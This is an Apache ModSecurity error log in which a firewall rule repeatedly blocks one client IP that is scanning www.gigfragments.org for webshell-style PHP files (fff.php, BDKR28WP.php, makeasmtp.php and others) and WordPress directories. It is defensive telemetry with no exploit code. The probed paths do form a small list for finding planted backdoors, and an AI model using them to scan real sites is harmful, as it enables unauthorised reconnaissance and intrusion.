[Thu Apr 23 16:19:23.510654 2026] [:error] [pid 65000:tid 65042] [client 20.216.153.175:22459] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aenWC76vRb9j6psK2Za-SAAAAgk"]
[Thu Apr 23 16:19:23.677501 2026] [:error] [pid 42971:tid 42992] [client 20.216.153.175:21727] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aenWCzEP2_5RswrH8bELhAAAAAY"]
[Thu Apr 23 16:19:24.538766 2026] [:error] [pid 43083:tid 43092] [client 20.216.153.175:15454] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aenWDDC5hrvNXosL83JSvAAAAMc"]
[Thu Apr 23 16:19:25.254350 2026] [:error] [pid 64967:tid 64987] [client 20.216.153.175:46059] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aenWDYAV4GfOOdX8QzpYYQAAAZI"]
[Thu Apr 23 16:19:26.255664 2026] [:error] [pid 42973:tid 43056] [client 20.216.153.175:56548] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aenWDm6I0QqmmmLTHE3G8gAAAI0"]
[Thu Apr 23 16:19:30.078643 2026] [:error] [pid 64998:tid 65015] [client 20.216.153.175:56559] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aenWEoV5EysYcTLjmwjsmwAAAc0"]
[Thu Apr 23 16:19:30.423179 2026] [:error] [pid 42973:tid 43063] [client 20.216.153.175:36547] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aenWEm6I0QqmmmLTHE3G_QAAAJQ"]
[Thu Apr 23 16:19:31.317225 2026] [:error] [pid 64967:tid 64972] [client 20.216.153.175:22453] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aenWE4AV4GfOOdX8QzpYaAAAAYM"]
[Thu Apr 23 16:19:31.523470 2026] [:error] [pid 65000:tid 65029] [client 20.216.153.175:36589] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods.php"] [unique_id "aenWE76vRb9j6psK2Za-TgAAAgA"]
[Thu Apr 23 16:19:32.206475 2026] [:error] [pid 46953:tid 46974] [client 20.216.153.175:22461] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods.php"] [unique_id "aenWFEnlpdHh-P6wKboHCwAAAlI"]
[Thu Apr 23 16:19:32.350216 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:25511] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aenWFG6I0QqmmmLTHE3HAQAAAIU"]
[Thu Apr 23 16:19:33.065667 2026] [:error] [pid 64998:tid 65021] [client 20.216.153.175:38447] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods.php"] [unique_id "aenWFYV5EysYcTLjmwjsnQAAAdM"]
[Thu Apr 23 16:19:33.425487 2026] [:error] [pid 42973:tid 43066] [client 20.216.153.175:25513] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aenWFW6I0QqmmmLTHE3HBAAAAJc"]
[Thu Apr 23 16:19:33.656150 2026] [:error] [pid 59700:tid 59723] [client 20.216.153.175:29843] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods.php"] [unique_id "aenWFZXyGZJFeAIDWtnpWQAAAVU"]
[Thu Apr 23 16:19:34.237378 2026] [:error] [pid 65000:tid 65039] [client 20.216.153.175:42322] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aenWFr6vRb9j6psK2Za-WgAAAgY"]
[Thu Apr 23 16:19:34.601513 2026] [:error] [pid 42972:tid 43036] [client 20.216.153.175:38402] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWFsOAb-3sOknsk4fMhAAAAFQ"]
[Thu Apr 23 16:19:35.288663 2026] [:error] [pid 59700:tid 59703] [client 20.216.153.175:64463] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aenWF5XyGZJFeAIDWtnpXQAAAUE"]
[Thu Apr 23 16:19:35.401217 2026] [:error] [pid 42973:tid 43054] [client 20.216.153.175:22118] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWF26I0QqmmmLTHE3HBgAAAIs"]
[Thu Apr 23 16:19:36.151588 2026] [:error] [pid 42972:tid 43016] [client 20.216.153.175:56572] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWGMOAb-3sOknsk4fMhgAAAEA"]
[Thu Apr 23 16:19:36.462891 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:64681] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aenWGG6I0QqmmmLTHE3HCAAAAIU"]
[Thu Apr 23 16:19:37.150712 2026] [:error] [pid 42972:tid 43038] [client 20.216.153.175:36548] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aenWGcOAb-3sOknsk4fMiwAAAFY"]
[Thu Apr 23 16:19:37.330306 2026] [:error] [pid 42972:tid 43022] [client 20.216.153.175:38417] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aenWGcOAb-3sOknsk4fMjgAAAEY"]
[Thu Apr 23 16:19:38.265578 2026] [:error] [pid 43083:tid 43090] [client 20.216.153.175:38434] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aenWGjC5hrvNXosL83JSwQAAAMU"]
[Thu Apr 23 16:19:38.414405 2026] [:error] [pid 43083:tid 43096] [client 20.216.153.175:25530] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aenWGjC5hrvNXosL83JSwgAAAMs"]
[Thu Apr 23 16:19:39.432423 2026] [:error] [pid 64967:tid 64985] [client 20.216.153.175:40043] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "aenWG4AV4GfOOdX8QzpYawAAAZA"]
[Thu Apr 23 16:19:40.345053 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:40003] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/"] [unique_id "aenWHG6I0QqmmmLTHE3HEAAAAJY"]
[Thu Apr 23 16:19:41.490334 2026] [:error] [pid 43083:tid 43089] [client 20.216.153.175:22137] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/we.php"] [unique_id "aenWHTC5hrvNXosL83JSwwAAAMQ"]
[Thu Apr 23 16:19:42.392871 2026] [:error] [pid 46953:tid 46959] [client 20.216.153.175:37227] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/we.php"] [unique_id "aenWHknlpdHh-P6wKboHGQAAAkM"]
[Thu Apr 23 16:19:43.275033 2026] [:error] [pid 43083:tid 43094] [client 20.216.153.175:30283] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/we.php"] [unique_id "aenWHzC5hrvNXosL83JSxgAAAMk"]
[Thu Apr 23 16:19:44.190421 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:25506] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/we.php"] [unique_id "aenWIG6I0QqmmmLTHE3HGwAAAJI"]
[Thu Apr 23 16:19:44.988348 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:56527] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aenWIG6I0QqmmmLTHE3HIAAAAIU"]
[Thu Apr 23 16:19:45.927076 2026] [:error] [pid 64967:tid 64971] [client 20.216.153.175:36597] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aenWIYAV4GfOOdX8QzpYbQAAAYI"]
[Thu Apr 23 16:19:46.792916 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:5384] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aenWIm6I0QqmmmLTHE3HKQAAAIU"]
[Thu Apr 23 16:19:47.699226 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:36606] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aenWI8OAb-3sOknsk4fMmgAAAEg"]
[Thu Apr 23 16:19:48.816490 2026] [:error] [pid 65000:tid 65031] [client 20.216.153.175:64595] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin1.php"] [unique_id "aenWJL6vRb9j6psK2Za-ZQAAAgI"]
[Thu Apr 23 16:19:49.722557 2026] [:error] [pid 65000:tid 65043] [client 20.216.153.175:31766] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin1.php"] [unique_id "aenWJb6vRb9j6psK2Za-ZwAAAgo"]
[Thu Apr 23 16:19:50.836464 2026] [:error] [pid 42972:tid 43026] [client 20.216.153.175:56523] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin1.php"] [unique_id "aenWJsOAb-3sOknsk4fMowAAAEo"]
[Thu Apr 23 16:19:51.580552 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:64462] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/admin1.php"] [unique_id "aenWJ26I0QqmmmLTHE3HLQAAAJI"]
[Thu Apr 23 16:19:52.224322 2026] [:error] [pid 42972:tid 43020] [client 20.216.153.175:22438] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aenWKMOAb-3sOknsk4fMqQAAAEQ"]
[Thu Apr 23 16:19:52.989665 2026] [:error] [pid 65000:tid 65053] [client 20.216.153.175:5414] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aenWKL6vRb9j6psK2Za-cAAAAhQ"]
[Thu Apr 23 16:19:53.774408 2026] [:error] [pid 25635:tid 25658] [client 20.216.153.175:46023] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aenWKcRxv6UsgRGKB3IdqgAAARM"]
[Thu Apr 23 16:19:54.414847 2026] [:error] [pid 64967:tid 64972] [client 20.216.153.175:37190] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aenWKoAV4GfOOdX8QzpYcgAAAYM"]
[Thu Apr 23 16:19:55.161725 2026] [:error] [pid 42972:tid 43033] [client 20.216.153.175:64459] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aenWK8OAb-3sOknsk4fMrAAAAFE"]
[Thu Apr 23 16:19:55.981657 2026] [:error] [pid 46953:tid 46960] [client 20.216.153.175:47947] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aenWK0nlpdHh-P6wKboHIAAAAkQ"]
[Thu Apr 23 16:19:56.762086 2026] [:error] [pid 59700:tid 59711] [client 20.216.153.175:60601] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aenWLJXyGZJFeAIDWtnpawAAAUk"]
[Thu Apr 23 16:19:57.604424 2026] [:error] [pid 65000:tid 65057] [client 20.216.153.175:30303] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aenWLb6vRb9j6psK2Za-eQAAAhg"]
[Thu Apr 23 16:19:58.390042 2026] [:error] [pid 64998:tid 65010] [client 20.216.153.175:36594] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aenWLoV5EysYcTLjmwjsrAAAAcg"]
[Thu Apr 23 16:19:58.524914 2026] [:error] [pid 64998:tid 65016] [client 20.216.153.175:64654] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aenWLoV5EysYcTLjmwjsrgAAAc4"]
[Thu Apr 23 16:19:59.205930 2026] [:error] [pid 64998:tid 65006] [client 20.216.153.175:64670] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aenWL4V5EysYcTLjmwjssAAAAcQ"]
[Thu Apr 23 16:19:59.299410 2026] [:error] [pid 42971:tid 42999] [client 20.216.153.175:31755] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aenWLzEP2_5RswrH8bELigAAAA0"]
[Thu Apr 23 16:19:59.923768 2026] [:error] [pid 46953:tid 46972] [client 20.216.153.175:22412] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aenWL0nlpdHh-P6wKboHJAAAAlA"]
[Thu Apr 23 16:20:00.501885 2026] [:error] [pid 42973:tid 43061] [client 20.216.153.175:56546] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aenWMG6I0QqmmmLTHE3HOwAAAJI"]
[Thu Apr 23 16:20:01.027185 2026] [:error] [pid 42972:tid 43033] [client 20.216.153.175:50773] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aenWMcOAb-3sOknsk4fMswAAAFE"]
[Thu Apr 23 16:20:01.450559 2026] [:error] [pid 42972:tid 43026] [client 20.216.153.175:18695] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aenWMcOAb-3sOknsk4fMtwAAAEo"]
[Thu Apr 23 16:20:01.919112 2026] [:error] [pid 42973:tid 43055] [client 20.216.153.175:56546] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fff.php"] [unique_id "aenWMW6I0QqmmmLTHE3HRAAAAIw"]
[Thu Apr 23 16:20:02.285540 2026] [:error] [pid 42972:tid 43040] [client 20.216.153.175:47998] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aenWMsOAb-3sOknsk4fMvAAAAFg"]
